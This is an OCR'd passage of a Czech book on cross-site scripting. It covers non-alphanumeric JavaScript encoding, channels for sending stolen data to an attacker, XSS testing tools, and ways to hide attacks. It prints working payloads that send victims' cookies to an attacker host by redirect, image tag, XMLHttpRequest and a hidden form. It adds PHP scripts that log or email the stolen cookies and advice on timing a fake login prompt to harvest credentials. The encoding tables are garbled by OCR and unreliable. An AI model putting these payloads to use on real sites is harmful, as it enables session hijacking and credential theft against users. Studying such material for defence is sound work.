Tabulka 42 - Zdpis ¢isel v non-alfanumerickém JavaScriptu

0: el

ig SRS

2: SRS ENENS!

3: L[]+ ]

4: FULLIHL D440

5: ST [THL T+ [T ]]

6: HUULIH N[+ [T+ [+ (1410 ]

7: N R F RN RS RN S NS

8: FULLTHL LD (D4 (T4 (14 I+ [T+1 0 ]

9: HUULTHU [T+ [+ [+ [+t [+ [+ (401 []
123: LD+ I+ T+ L+ +10))

V tuto chvili uz tedy vite, jak bez pouziti alfanumerickych znaka
ziskat jakékoliv ¢islo. Kdyz se nyni vratime k ziskani pismene ,,c* ze slova
,whacking®“, zjistime, ze bychom jej mohli dostat pomoci zapisu
"hacking"[+!"[]+!"[1]. Nyni uz zbyva jen Fici si o ziskdvani jednotlivych
pismen, pomoci kterych budeme schopni poskladat bez pouziti
alfanumerickych znaku celé textové fetézce.

Pro ziskani témét jakéhokoli znaku pouZzijeme stejné metody, jako
pti ziskdvani pismene ,c“ ze slova ,hacking”, tedy extrakci znaku
z textového fetézce urcenim jeho pozice. Nemdme-li ovSem moznost zapsat
sami zdrojové fetézce pomoci konkrétnich znaki, musime sdhnout
k takovym fetézctim, které jsou jiz pteddefinovany v samotném JavaScriptu.
Se dvéma fetézci, které nam JavaScript poskytl, jste se jiz setkali. Jednalo se
o fetézce true a false. Nekteré z dalSich dostupnych fetézcd jsou spoleéné
s non-alfanumerickym zapisem, pomoci kterého je lze ziskat, uvedeny
v tabulce 43.

Tabulka 43 - Shrnuti pouZiti jednotlivych zpisobu kédovani

1+1] "false[object Object]"
(] "true[object Object]"
1 "NaN[object Object]"
+[] "undefined"
+[1 "Infinity"

" [object Object]™

Pfi¢tenim prazdného pole tyto objekty nejprve pifevedeme na
fetézec a znich pak jiz mizeme extrahovat jednotlivda pismena urfenim
jejich pozice. Pro ziskani pismene ,.f° bychom mohli pouzit zapisu
('O0+II+0]. ktery vznikne vyvolanim objektu false a naslednym uréenim
jeho nultého (prvniho) prvku. Ziskani nékolika dalSich pismen abecedy
zobrazuje tabulka 44.
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Tabulka 44 - Shrnuti pouZiti jednotlivych zptsobu kédovani

a: (L[1+01) [+1001+([]]

b: (([1, [I0CHII+0D) [+ LI+ LT+ LI+ (DI DCOI LI+ 00) [+ LT+ [T+ [T+ []+(]]
FCOTOOITH0D) [ LI+ LI+ T+ LT+ DT+ (VDD 4 D) [P LD+ I+ LI+0]) [+ 111+
POI4HLD) [0 LI+ T+ P[]+ LT+ T+ LT+ 00) [+ LI T+ 0]) [+ T+ [T+ [T+ [T+
POIHEP DI+ U OI+ D) [+ T+ VDD 0D) [+0000) O+0D) [+ 001400 0T+00)

c: ([1+010CHII+0D) [+E DI+ LI+ II T+ (0T D0 DOIT+0]) [+ LI+ [I+E [+ [T+ D]+
COTCDID40D) DS LD+ T+ LD+ T+ LD T+ LI+ 0] [ LI+ DT+ LT+ 0D) (40104 (Y
(140D [+ PO+ I+ DD+ DD+ 00T+ (P DT+ D) [+ DI04 00) [+ DD+ D+ [T+ [T+
(1000 1+ 0D [+ DI+ DI+ (010D DI+ 1+ D)+ (+11) ]

d: ([1+010CHII+0D) [+ DI+ I+ 0+ (0T DD DD +00) [+ D+ D+ [T+ [T+ 1+
(CIC0ID+0D) [+ DI+ T+ I+ L1+ DI+ O+ 00) [+ DD+ DI+ LT+ 00) [+ 00+ (Y
[I+0) [+ P01+ I+ L1+ DD+ 00T+ (P DT+ D) [+ DI T+00) [+ LD+ [T+ [T+ [T+
[+ 0IT+ (LD DD) [+ VDD D+ UV DD+ 0D [H DT D) D+ E LD+ T+ D)+ (L [T+ [T+ ]
e: (MI[I+[1) [+ P[I+E I+ [1+[]]

£: (1[1+01) [+01]

ebg (MY LEDAFED) -0 8 TR0 8 T1<-0 8 [2<-0 8 [f1<-0 8 (T1 1]

o (01, DDDCHDI+0D) [+t I+t DD+ D10+ (LI DCDD COIT+0D) [+ LT+ [T+ T+ []+(]]
ACLTDOITH0D) [+ LI+ DD+ [T+ LT+ DT+ DD+ 0D [+ LT+ LTI+ LT+ 0]) [+ 011+
PLIHLD) [0 LI+ I L]+ LT+ 1]+ (L LT+ 00) (LT TT+0T) [+ LD+ [T+ [T+ [T+
PO+ D+ RO+ 0D) [+ DD+ DD+ 1) [+0100) O+ 1) [+EE 1+ [T+ [1+0]]

L: ('[1+[1) [+10[1+10[1+0]]

m: (([ICCHOI+0D) (DI04 (0 D0DT+0D) [+ DI+ DI+ [T+ LI+ [T+ (T4 0) [+ E[T+!
PLIHCIT+H N LIH0D) DD D+ LD+ 0T) D LD+ LD+ LT+ (I 0]) [+ LI+ 0100 (0]
AL IIH0D) [T+ DD+ LD+ (LT DCDD LT+ 00) [+ DD+ [T+ [T+ [T+ 0+ (01 0 1]
T [+ PO+ + D+ VDD + (VDT D) [+ LT+ V[T D+ (VD4 0D) [+ DD+ (L D+ 1])
[+ 0L+ LT+ LI+ LT+ 00+ (P LI+0D) [+ LTI+ 00) [+ L LD+ [T+ [T+ [T+ [+ ]
JI+ VLTI [+ LD T+ LI+ 0D) [+ 0101 DL LI+ LI+ L)+ (+ D) T+ (LT DCLILIIT+0])
IERNAREREN R RSN RSN RSN EAARN NI RES RPN ESNARESNERESNN R RSN R EEEN N ENANREANPNEA N
[1+00011+ (PP LI+D0) [+011+ (L LI+00) [+ LT+ LI+ [T+ LD+ 011+ (L LI+00) [+ 10+
D)L+ T+ DI+ P+ LT+ (I DI+ 0) [+ DD+ [T+ [T+ I+ ]+ 0]
TP 0D) [+ DI+ DI+ P I+ (N LT+ 0]) [+ DD+ (L LT+ 0T) [+ LI+ T+ (LI [T+ D) (400 T
T+ LI+ 0+ LI+ L LI+00) [+ LT+ LI+ L+ (0T D CLICOTT+00) [+ [I+ [T+t []+!
POIHDIT+CII 0004 00) [+ DD+ LI+ LD+ LT+ LD D+ DI+ 00) [+ DI+ [T T+ [I+0])
[F011+ DI+ [P0+ LI+ LD+ D0+ (PP DT+0D) [+ DD 0+00) [+ P+ 0T +00 ]
UL+ (T4 0) [+ DI+ (PP LT+ 0D) [+ 010 0) DG+ I+ 1+ D)+ (+[1) 1+ (
PELT40D) [0+ COICCII DI04 0D) [+ DD+ LI+ LD+ I+ D00+ (LI DD 0+00) [+ L1+ 1
AVVITHLE LTI+ DT+ 0] [+ DI+ LTI+ LT+ 0]) DT+ DI+ DD) [0 LT+ [T+ 0[]
FUULIH 11+ (LT[ [+ LT+ ) [+ LD+ [T+ L[]+ [T+ [T+ [T+ ([T ]) [+
[1+0110) O+0D) [+ DI+ (I (D + (D) + (P [T)+[]) ]

n: ([J0011+0D) [+ LI+ I+ [+ I+ ]+ 0]

®8 ([ LCLY LEYIFL]) [0 8 10 0 L0078 8 L0=00 0= (L7 LD J<L1) {8 8 [7<=0 8 [=F0 0 [7<=0 8 [0
POTTHCEDIHDD) [+ DT+ LTI+ DT+ 0]) LTI+ CEDT+0]) [HE LI+ T+ [T+ [T+ DT+ (!
SOYRED) LS D ] DRLD ) [4e8 8 T]4r8 B Th4e0 B4 A 1140 A 748 8]

(LULI+ID) [+0001+01]

LI+ [+ II+E [T+

(PUI1+01) [+00]

(VULI+0D) [+ LI+ [1+00]

(LIHDICCEDI+DD) [+ DT 40 DT+ LTI+ (D DCDT O I+D) [+ DD+ [T+ [T+ (] +]]+
(LTDDID+0D) [+E LT+ LI+ LT+ [T+ LT+ LT+ D]) DT+ T+ (LT DD) [+D1T+ (Y
[1+01) [+ P01+ 1+ L1+ DD+ 0D T+ (VLT +0]) [+ LT T+ 00) [+E VDD + 0D+ [T+ ]+
10N ETT+ RN+ [+ DT+ DT+ 0T) [+ D110 ) (DN LI+ L)+ (H [T+ LI+ ]+ ]
UL+ LI+ [1+[])]

4 e dt0R

Tak a to je 0 non-alfanumerickém zapisu JavaScriptu téméf vse.
Nyni tedy uz vite, jak vytvofit jakékoliv Cislo a dokonce i libovolny text
pouze za pouziti ne¢kolika specidlnich znaki. Stejnym zplisobem muzete
poskladat také kod JavaScriptu, ktery nasledné spustite pomoci funkce
eval(). Sami jisté uznate, Ze pouhym pohledem na non-alfanumericky kod
jen st&zi odhadnete, jaka je prava funkce skriptu.
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Kapitola 6

Komunikacni kanal
mezi obéti a utocnikem

Nalezeni zranitelného mista ve webové aplikaci, propasovani
uto¢ného kodu do obsahu stranky a jeho nasledné spusténi béhem navstévy
legitimniho uZivatele v jeho browseru je jen jednou ¢asti celého utoku.

8

3

V piipadech, kdy je zamérem
atoéného skriptu injektovaného skrz XSS
vykondni né&jakého cileného utoku, kterym
muze byt naptiklad odeslani spamu nebo
provedeni finan¢ni transakce na webu
bankovnich instituci, sta¢i, kdyz uto¢nik
propasuje  jakymkoliv ze  zpusobu
uvedenych v této knize sviij kod na webovy
server. Obéti se pii navstéve tento kod
spusti v jejim browseru a odesle webovému
serveru pozadavek, ktery cely utok dokona.

V jiné situaci uto¢nik propasuje

svij kod na webovy server stejnymi
postupy, jako tomu bylo v pfedchozim
pripadé. Rozdil nastava ve chvili, kdy se
spusti nastrazeny kod ve webovém
prohlizeci obéti. Ten pak odesle zpét na
webovy server pozadavek, ktery napiiklad
umozni uto¢nikovi se na webovy server
pfihlasit a pod identitou své obéti na serveru
dale vystupovat a jednat.

Dalsi variantou, kterou na tomto

misté¢ zminim, je odeslani p¥istupovych udaji
do webové aplikace, nebo jiné vyzadané
informace pfimym kanadlem k uto¢nikovi,
nebo na jeho server. Této moznosti se vyuziva
asi nejéastéji a jednotlivé komunika¢ni kanaly,
kterych se pfi tom nejCastéji vyuziva, uvedu
nize v této kapitole.
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Nejextrémnéjs$i  situace  nastava v
v ptipadé, kdy dojde po zdarném utoku . a

k otevieni  oboustranného  komunika¢niho
kanalu mezi utoénikem a jeho obéti.

V takovém piipads, mize ttoénik zadavat | |
prostiednictvim tohoto komunika¢niho kanalu |
ptikazy JavaScriptu, které jsou nasledné
vykonavany webovym prohlizeGem obéti.
Ptikladem ttoku tohoto typu je napiiklad XSS
backdoor.

[EERRRR] =

T

Parametry GET pozadavku

Pro tutoénika je Casto nejjednodussi, kdyz data ziskana b&hem
utoku pienese na svou stranu v parametrech GET pozadavku. V praktickych
piikladech se zaméfim na kradez obsahu cookie, které vétsinou uto¢nikovi
umozni pfistoupit k webové aplikaci v otevieném sezeni pod identitou
napadené¢ho wuzivatele. Tomuto castému typu utokli bude vénovéana
samostatnd kapitola. Nyni pouze uvedu, Ze obsah cookie je z JavaScriptu
dostupny pod vlastnosti cookie objektu document.

Po nalezu XSS zranitelnosti ve webové aplikaci, bychom mohli
vlozit utoény kod, ktery by vypadal jako ten z vypisu 179.

Vypis 179 - Skript pfeddvajici obsah cookie v parametru GET poZadavku

<script>
document.location="http://www.hackingvpraxi.cz/save.php?var="+document.cookie
</script>

Ve chvili, kdy dojde ke spusténi kodu, je uzivatel pfesmérovan na
webovou stranku uto¢nika. Béhem pozadavku je ale v parametru var
predavan také obsah cookie. Ten mtize byt na serveru uto¢nika zpracovan
skriptem save.php riznymi zptisoby. Ve vypisu 180 ukazuji piiklad, kdy je
obsah této proménné uloZzen do souboru a uzivatel je pfesmérovan zpét do
puvodni aplikace. PHP skript ve vypisu 181 by obdobné pied
presmérovanim uzivatele odeslal obsah ziskaného cookie na uto¢nikiv mail.

Vypis 180 - Ukazka php skriptu uklddajici obsah ukradenych cookie do souboru

<?php
file put_contents("cookie.txt", $7GET["var"]."\n", FILE APPEND) ;
header ("HTTP/1.1 301 Moved Permanently");
header ("Location: http://www.webaplikace.cz");
header ("Connection: close");
2>
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Vypis 181 - Ukazka php skriptu odesilajici obsah ukradenych cookie e-mailem

<?php
mail ("mail.attacker@hackingvpraxi.cz","Nové cookie",$ GET["var"],"");
header ("HTTP/1.1 301 Moved Permanently");
header ("Location: http://www.webaplikace.cz");
header ("Connection: close");
P

Uvedeny postup je sice pouzitelny, ale v zadném ptipadé se neda
fici, Ze by byl nenapadny. Pfeci jen je ponékud podezielé, kdyz je uzivatel
pfesmérovavan tam a zpét. Mnohem elegantnéjsi by tedy bylo, kdybychom
odeslani pozadavku zatidili nepozorované na pozadi. I to je samoziejmé
mozné. Vyuzijeme Kk tomu néktery z HTML tagl, ktery naditd obsah
z externiho umisténi. Takovymi tagy jsou napiiklad <img> nebo <iframe>.
Stadi, kdyz tyto tagy nasmérované na nas§ php skript save.php vlozime do
obsahu webové stranky prostfednictvim injektovaného JavaScriptu. Piiklad
uvadim ve vypise 182.

Vypis 182 - Skript pfeddvajici obsah cookie v parametru GET poZadavku

<script>
document.write

("<img src='http://www.hackingvpraxi.cz/save.php?var="+document.cookie+"'>")
</script>

Aby nedoSlo na misté, kam se mél obrazek vlozit, k zobrazeni
chybové ikony, mize uto¢nik rozsitit tag <img> jesté o vlastnosti height
aweight, kterymi nastavi rozméry obrazku na 1 x 1 pixel, nebo o styl
display:none, kterym nastavi neviditelnost prvku. Nic ale uto¢nikovi nebrani
ani v tom, aby jeho PHP skript skute¢né obrazek vratil a ten byl ve webové
strance zobrazen. Sta¢i kdyz sviij PHP skript upravi podle vypisu 183, tak
aby doslo po odeslani cookie k pfesmérovani na tento obrazek.

Vypis 183 - PHP skript odesilajici cookie e-mailem a vracejici obrazek

<?php
mail ("mail.attacker@hackingvpraxi.cz", "Nové cookie",siGET["var"],"");
header ("HTTP/1.1 301 Moved Permanently");
header ("Location: http://www.hackingvpraxi.cz/obrazek.jpg");
header ("Connection: close");
2>
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XMLHttpRequest

O Ajaxu a jeho hlavnim objektu XMLHttpRequest jsme se jiz
bavili v jedné z Gvodnich kapitol. Rozlouéili jsme se v ni vSak diive, nez
jsme stihli probrat zasilani pozadavkl a odpoveédi mezi riznymi doménami,
které jinak podléhd omezenim Same Origin Policy. Protoze toto striktni
omezeni bylo pro né€které vyvojaie webovych aplikaci pfili§ omezujici,
hlasit¢ volali po zmirnéni téchto omezeni a snazili se neustdle vytvaret
vselijaké hacky, kterymi by své requesty mezi riznymi doménami
propasovali. Hlasy vyvojaiti byly tvlrci webovych prohlizeéu vyslySeny
aFirefox ve své verzi 3.5 umoznil piedavani dat také mezi rtznymi
doménami. OvSem za splnéni jistych podminek. Podobnou cestou, i kdyz ne
uplné stejnou, se vydal také Internet Explorer ve verzi 8. | on respektuje
stejnd bezpecnostni omezeni Cross-Origin Resource Sharing®, spocivajici
v zasilani povolujicich HTTP hlavicek. Pro pozadavky napfi¢ doménami
pouziva ale jiného objektu, kterym je XDomainRequest’. Nasledujicim
diagramem se pokusim znazornit prib&h jednoho cyklu pozadavek-
odpoved:.

XMLHttpRequest,
XDomainRequest

A\ 4
Origin: http://www.hackingvpraxi.cz

A 4
Access-Control-Allow-Origin: http://*.hackingvpraxi.cz

A 4
responseText

V prvni fadé musime vytvofit novou instanci objektu
XMLHttpRequest respektive XdomainRequest. Béhem odeslani dat metodou

! http://www.w3.0rg/ TR/access-control/
2 http://msdn.microsoft.com/en-us/library/cc288060%28VS.85%29.aspx
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send() je spoleéné s daty piedana serveru také HTTP hlavicka Origin:, ktera
informuje server o zadateli dat. Server na tento poZadavek odpovi a ve své
odpovédi uvede HTTP hlavicku Access-Control-Allow-Origin:. Podle ni
browser zjisti, zda ma k datim povolen pfistup, ¢i nikoliv. V ptipadé, ze
doména nasi stranky nalezi povolenym doménam, je ve vlastnosti status
dostupny kod odpovédi a ve vlastnosti responseText obdrzena data. Pokud
doména stranky neni mezi povolenymi piijemci dat, je vlastnosti status
vracen kdd 0 a vlastnost responseText je prazdna.

Hlavicky, které se staly soucdasti popisovaného piikladu nejsou
jedingmi hlavickami, které definuje Cross-Origin Resource Sharing.
Nekteré dalsi dulezité HTTP hlavicky uvadim v tabulce 45.

Tabulka 45 - HTTP hlavi¢ky definované v ramci Cross-Origin Resource Sharing

Access-Control-Allow-Origin

Definuje domény, které maji pfistup k pfedanym datlm.

* Uvedeni hvézdicky povoluje pfistup k datim z jakékoliv domény.

Je moZné uvést i1 IP adresu servert, které maji pravo pf¥istupu k datim.
Access-Control-Allow-Methods

Seznam metod, které jsou povoleny pro Cteni dat: GET, POST,
Access-Control-Allow-Headers

Seznam vlastnich hlavicek, které jsou povoleny v pozadavku.

Kromé uvedenych zmén pfinesly nové verze prohlizect, také
nékteré nové vlastnosti pro obsluhu udalosti, které se mohou béhem nacitani
dat vyskytnout. Neni tedy jiz potfeba slozit¢ odchytdvat udalost
onReadyStateChange a kontrolovat hodnotu vlastnosti readyState. Nekteré
tyto vlastnosti a metody uvadim v tabulce 46.

Tabulka 46 - Metody a vlastnosti spojené s pfenosem dat

abort()

Ukonéeni pozadavku béhem nac¢itéani dat
send()

Odeslani pofradavku

onerror

Aktivace pri vyskytu chyby béhem pfenosu
onload

Aktivace po nacteni dat

responseText

Data vracenad v odpovédi
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Z uvedenych informaci by mélo byt ziejmé, Ze neni problém
pouzit objektd XMLHttpRequest nebo XdomainRequest pro pienos dat od
napadeného uzivatele na tto¢nikliv server. Ba co vic, miZeme navazané
spojeni vyuzit také k predani odpovédi smérem od utoc¢nika k napadenému
uzivateli. Pokud se utoénikovi podafi udrzet spojeni dostate¢né dlouhou
dobu, mize v odpovédich na jednotlivé requesty zasilat ptikazy JavaScriptu,
které budou webovym prohlize¢em vykonavany, a které budou odesilat
vysledky opét na stranu tutoénika. Na tomto principu funguji XSS
backdoory, o kterych si jesté povime. Nyni uvedu pouze jednoduchy ptiklad
scriptu pro odeslani uzivatelova cookie v XMLHttpRequest pozadavku.

Vypis 184 - Pfenos dat k ito¢nikovi prostrednictvim XMLHttpRequest poZadavku

<script>
if (window.XDomainRequest) xdr = new XDomainRequest () ;
else xdr = new XMLHttpRequest () ;
xdr.open ("POST", "http://www.hackingvpraxi.cz/save.php") ;
xdr.send ("var="+document.cookie) ;

</script>

Generovany Form

Ackoliv si téméf vzdy vystatime s pfedchozimi moznostmi
pfedavani dat, které umoznuji odesilat pozadavky jak metodou GET tak
i POST a v pripadé XMLHttpRequest dokonce i oboustrannou komunikaci,
piesto se nékdy muzete setkat s pifipadem, kdy jsou data odesilana skrz
vygenerovany formulaf. Alespon v kratkosti se proto o této moznosti také
zminim.

Pii vyuziti této metody vygeneruje vlozeny JavaScript formulaf se
skrytymi poli, ktera naplni pfedavanymi daty a automaticky jej odesle. Aby
po odeslani pozadavku nedoslo k piesmérovani zobrazené stranky, obalime
vytvofeny formulaf také vygenerovanym plovoucim rdmem. Provedeni
scriptu je velice jednoduché a mtizete si jej prohlédnout ve vypisu 185.

Vypis 185 - Skript odesilajici data skrz vygenerovany formular

<script>
document .write ("<iframe id='ramec' style='display:none'></iframe>")
var doc = document.getElementById ("ramec") .contentDocument;
if (doc == undefined || doc == null
doc = document.getElementById("ramec") .contentWindow.document;
doc.open () ;

doc.write ("<form name='formular' method='post'
action="http://www.hackingvpraxi.cz/save.php'>
<input type='hidden' name='var' value=''></form>");
doc.close() ;
doc. formular.var.value=document.cookie;
doc.formular.submit () ;
</script>
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Kapitola 7

Hledani zranitelnosti

V pifedchozim textu knihy jsme si ukazali postupy, pomoci kterych
je mozné manualné odhalit XSS zranitelnosti webovych aplikaci. Jde
0 vkladani znakt, které mohou mit v uréitém kontextu zvlastni vyznam, do
vSech vstupl, na které v aplikaci narazime. Po vlozeni vstupu pak vzdy
prozkoumame vraceny HTML kdd, a na zakladé toho, jak se dané znaky
promitly do odpovédi, zvolime nésledujici postup.

V tabulce 47 uvedu nékteré ze vstuptli, které byste pii testovani
webové aplikace na vyskyt zranitelnosti XSS neméli opomenout.

Tabulka 47 - Vstupy, které by béhem testovani nemély byt opomenuty

Viditelnd vstupni pole formuldfd

Skryta pole formularu

Proménné predavané pomoci AJAXu

Hodnoty v3ech proménnych v URL

Pridani vlastni testovaci proménné do URL

Vlozit testovaci feté&zec do nazvi jednotlivych subadresaf¥t cesty v URL
Pridani kotvy s testovacim Ffetézcem do kotvy v URL

Prekontrolovat v3echna pfesmérovani

Prekontrolovat XSS zranitelnosti vloZenych objektd (FLASH, PDF, ...)

Vidite, ze variant, které je nutné provéfit, existuje docela dost.
Pokud je navic aplikace rozsahlejsi, muze se stat jeji rucni otestovani téméf
neuskutec¢nitelné. Neustalé opisovani kodu tedy obcCas neni to pravé
ofechové a celé testovani se tim zna¢né prodluzuje. Bylo proto vytvoieno
mnoho nastroju, které testovani usnadiiuji nebo dokonce automatizuji. V této
kapitole se s nékterymi témito nastroji seznamime. Tyto, nebo jim podobné
nastroje ale nejsou vSemohouci. Rucni otestovani aplikace dokaze cCasto
odhalit zranitelna mista, ktera tyto nastroje odhalit nedokazi. Muze jit
napiiklad o vystup uzivatelského vstupu, ktery se vklada na jiném misté
aplikace.
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Manualni nastroje

TramperData

Doplnék pro Firefox, o kterém v této knize byla fe¢ jiz mnohokrat
se muze stat dobrym pomocnikem pfi testovani téch vstupt, které nejsou
ptimo dostupné ve formulafich nebo v URL webové stranky. Pomoci tohoto
nastroje, mizete zkouset vkladani payloadu do jednotlivych HTTP hlavicek,
do hodnot skrytych poli, ale také do proménnych pfenaSenych metodou
POST. Piitom je mozné nékteré z predavanych proménnych vypustit, nebo
dokonce piidat nové. V doplitkku jsou také preddefinovany nékteré vektory
XSS tutokd, jejichz seznam je mozné dale rozsitovat.

Nastroje pro vyplnovani formulaia z kontextového menu

Mezi dalsi nastroje, které by mohly usnadnit manualni vkladani
testovacich kodi do formulatovych poli, 1ze zatadit doplitky, které umoziiuji
plnit pole formulatti vybérem hodnot z kontextového menu. Jednoduse nad
vstupnim polem vyvoldme Kkontextové menu, ze kterého vyberete
pozadovany fetézec. Nejedna se sice zrovna o sofistikované nastroje, které
byly za timto ucelem vytvoteny, ale pro rychlé otestovani jsou urcité lepsi,
nez neustalé ruéni vypisovani celého kodu.
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Poloautomatické nastroje

Funkce poloautomatickych nastrojii spociva v automatickém
zaslani Uto¢nych vektorG proti webové aplikaci. Zjisténi, zda se vektor
uspésné injektoval ale zlistava na nas.

Testmail

Aplikace Testmail® je dostupna pfes webové rozhrani na serveru
SOOM.cz a umoziuje automaticky odeslat e-mailové zpravy, které obsahuji
nékteré vektory pro injekei skriptll. Po odeslani zprav je nutné se piihlasit ke
svému uctu ve webmailu, na ktery jsme si nechali tyto zpravy zaslat
a zkontrolovat, zda nékteré z nich zplisobi spusténi vlozeného JavaScriptu.

Testovat Zprava e BliZ3i info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
info

info

E-mailova adresa:

Kod obrazku:

Poloautomaticky néstroj Si mulzete sami snadno Vvytvorit
v JavaScriptu jako nastroj, ktery bude zasilat v proménnych GET nebo
POST pozadavku jednotlivé vektory a cilové stranky bude otevirat v novém
okné. Nésledné bude nutné zkontrolovat, zda se na nékteré z téchto stranek
vlozeny skript vykonal.

! http://www.soom.cz/index.php?name=projects/testmail/main
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Automatické nastroje

Oproti manudlnim a poloautomatickym nastrojim, dokazi
automatické nastroje nejenom automaticky odeslat celou sadu rtznych
fetézcl pro otestovani jednoho vstupu, ale dokazi otestovat rovnou vsechna
formuléfova pole ve webové strance nebo vSechny proménné v URI. Kromé
toho, ze automatizovany nastroj jednotlivé pozadavky odesle, je schopen
také vyhodnotit odpoveéd’ serveru a zjistit, zda se Gitoény vektor promitnul do
vraceného dokumentu.

XSS-me

XSS-me! je dopln&k pro webovy prohlized Firefox, ktery umoziuje
automatické provéteni vSech formulafovych poli v dokumentu na vektory
obsazené v bohaté interni databazi. Vysledkem testli je podrobny report,
ktery kromé informace o spé&sné injektovanych vstupech zobrazuje také
potencidlné¢ nebezpecné znaky, které je mozné injektovat. Samotny test
probihd v nové oteviranych panelech prohlizece v nékolika soubé&znych
vlaknech, ¢imz trvani testii zna¢né zrychluje.

XSS String Tests Summary (18 tests executed)
- _—— 000000000

i

g 7 |
[

Passes

1
XSS String Test Results

! http://labs.securitycompass.com/index.php/exploit-me/




200 Cross-Site Scripting v praxi

XSSer

Dalsim z pIné automatickych nastroju, tentokrat pro ptikazovy
tadek, ktery vyzaduje interpret jazyka Python je XSSer'. Jedna se o fuzzer
s mnoha moznostmi injektaze a s riiznym koédovanim jednotlivych vektori.

WebScarab

S nastrojem WebScarab slouzicim k testovani zabezpeceni
webovych aplikaci jsme jiz sezndmili v souvislosti s lokdlnimi proxy
servery. Diky tomu, ze veSkerd HTTP komunikace prochazi b&éhem
surfovani timto nastrojem, dokaze identifikovat potencialné injektovatelné
GET a POST proménné. Po zachyceni komunikace ndm pak WebScarab
nabidne odpovidajici URI a umozni nam na nich spustit test injekce.

|

! http://xsser.sourceforge.net/
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Acunetix Web Vulnerability Scanner

Poslednim nastrojem, ktery na tomto misté zminim, bude Acunetix
Web Vulnerability Scanner’, ktery, a¢ je zaméfen na §iroké spektrum
webovych zranitelnosti, nabizi ve své zdarma dostupné verzi, praveé
testovani webti na zranitelnost XSS.

Scanner dokaze nasledovat vSechny odkazy na webu a najde tak
a zkontroluje vSechny webové stranky v aplikaci. Je rychly a velice Gi¢inny.
Po ukongeni testu zobrazi podrobny report o nalezenych zranitelnostech.

Acunetix Web Vulnerability Scanner instaluje také toolbar do
webového prohlizece, pomoci kterého je mozné velmi rychle a jednoduse
otestovat aktualné navstivenou webovou stranku.

Webovy vyhledivaé

P ooty ey 5 e

Zadithdon s

G e T

Open bt rtn 165 | [t | i

! www.acunetix.com
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Skryvani utoku

Neviditelna akce

Nejvétsi skody dokaze napachat takova Gtocna akce, ktera ziistane
skryta. To znamena ta, o jejiz ¢innosti se uZivatel nedozvi a nebude tak mit
zadné pochybnosti o divéryhodnosti webové aplikace ani po jejim opusténi.
Kazda interakce, kterou béhem ttoku bude utoénik po uzivateli vyzadovat,
vnasi jisté procento nedivéryhodnosti, které mize vést az k celkovému
odhaleni utoku. Vyskakujici alerty, které Casto pouZzivaji zacinajici hledaci
XSS zranitelnosti, jsou tak jasnym pifikladem zmateného tutoku, ze kterého
mohl ato¢nik vytézit daleko vice.

Obcas se ale bez jisté interakce s uzivatelem neobejde ani zkuSeny
uto¢nik. Vzdy zalezi na tom, co je cilem jeho utoku. Existuji ovSem jisté
metody, které je pfi interakci mozné uplatnit pro zmateni uzivatele.

Odlozeni akce

V nékterych situacich by okamzité spusténi utoku mohlo vést
k jeho odhaleni. V takovych pfipadech je lepsi nacasovat spusténi utoku, az
po uplynuti definované ¢asové prodlevy.

Predstavte si webmail, ktery je zranitelny na XSS v téle HTML
zpravy. Tato je ale otevirana v jiné doméné, nez je samotné uzivatelské
rozhrani webmailu a Gto¢nik proto nemize z divodu omezeni Same Origin
Policy uzivatelsky tcet atakovat. MiZe se ale rozhodnout, Ze povede utok
oznamenim neo¢ekavané chyby v aplikaci a vyzadanim nového ptihlaseni
uZivatele ziska jeho autentifikaéni udaje. Utoénik miZe samoziejmé provést
defacement stranky se zobrazenou e-mailovou zpravou okamzité po jejim
otevieni. V takovém piipadé by ale uzivatel asi ziejmé Kliknul na ikonu
"zpet". Pokud se vSak uto¢nik rozhodne pro odlozeni utoku o par sekund,
zadte se uzivatel do textu e-mailu a na zménu stranky oznamujici chybu
a zadajici nové pfihlaSeni zareaguje odlisné a své piihlasovaci tdaje do
formulafe vlozi. JavaScript, ktery se o podobné odlozeni akce postard muize
vypadat podobné jako ten z vypisu 186, ktery vyuziva pro odlozeni akce
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0 zadany pocet milisekund funkci setTimeout. Odlozit spusténi skriptu je
mozné také pomoci time2 Behavior, které jsme si piedstavili ve vypisu 49.

Vypis 186 - OdloZeni akce nac¢asovanim

<script>
function akce() {alert(1);}
setTimeout ('akce () ',10000) ;
</script>

Jednou spustit staci

Zdrzime se jesté chvili u predchoziho ptikladu s odlozenim
zobrazeni chybového hlaseni a pfedstavime si, Ze uZzivatel skutecn¢ zada své
ptihlasovaci informace a po jejich odcizeni je mu opét zobrazena jeho
nedoctend e-mailova zprava. Jaké by pro néj bylo asi piekvapeni, kdyby po
par vtefinach opét chybova zprava zattocila na jeho zraky. Uzivatel by jiz
témef jisté mohl ziskat davku podeziravosti. Pro uto¢nika pfitom uz dalsi
ptihlaSeni uzivatele ztraci vyznam.

Je proto dulezité zajistit po usp&$ném utoku, aby se vlozeny kod
opétovné nevykonaval. Pokud jde pouze 0 zamezeni opétovného spusténi
v aktualni relaci, miZzeme pro zaznamenani Uspé$n¢ provedeného utoku
vyuzit vefejnou proménnou, nebo vlastnost nékterych objektii. Usp&ing lze
pouzit napiiklad kod z vypisu 187, ktery umoziuje pfistup k proménné
z riznych mist aplikace.

Vypis 187 - UloZeni informace do window.r

<script>
if (window.r!=1) {
alert ("akce");
r=1;
}
</script>

Jindy potiebujeme zajit jeste o kus dal a zakazat opétovné spusténi
i pti kazdé ptisti navstévé nakazené webové aplikace. V tomto piipadé jiz
musime sahnout k uloZeni informace do néjakého trvalého tlozisté. Tim se
muze stat webovy server utoc¢nika, na kterém bézi skript zaznamenavajici
uspésné provedené utoky a pii dotazu ze strany javaScriptu zda utok jiz
probéhl, vraci pozadovanou odpovéd. Za ulozisté ale muze Gto¢nik zvolit
také soubor cookie, jak ukazuje vypis 188. V takto oSetfenych piipadech
mize uzivatel po uspé$né provedeném tutoku klidné vypnout webovy
prohlize& a utodnik ma jistotu!, 7e pii pisti navitdvé webové aplikace
kdykoliv v budoucnu, jiz opétovné nedojde ke spusténi utocné Easti skriptu.

! Informace bez zaruky. Uzivatel miize kdykoliv své cookie vymazat.
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Vypis 188 - UloZeni informace do souboru cookie

<script>
document.cookie="jmeno=roman";
if (document.cookie.indexOf ('attack')<0) {
alert ("akce");
document.cookie="attack=true";
}
</script>

Schovani uto€nika za webovou proxy

Utoky XSS se vyznaduji také tim, Ze je velmi obtizné zjistit
identitu uto¢nika. Béhem samotného hledani XSS zranitelnosti a pfi vlozeni
payloadu do webové stranky muize totiz to¢nik vyuzivat anonymity
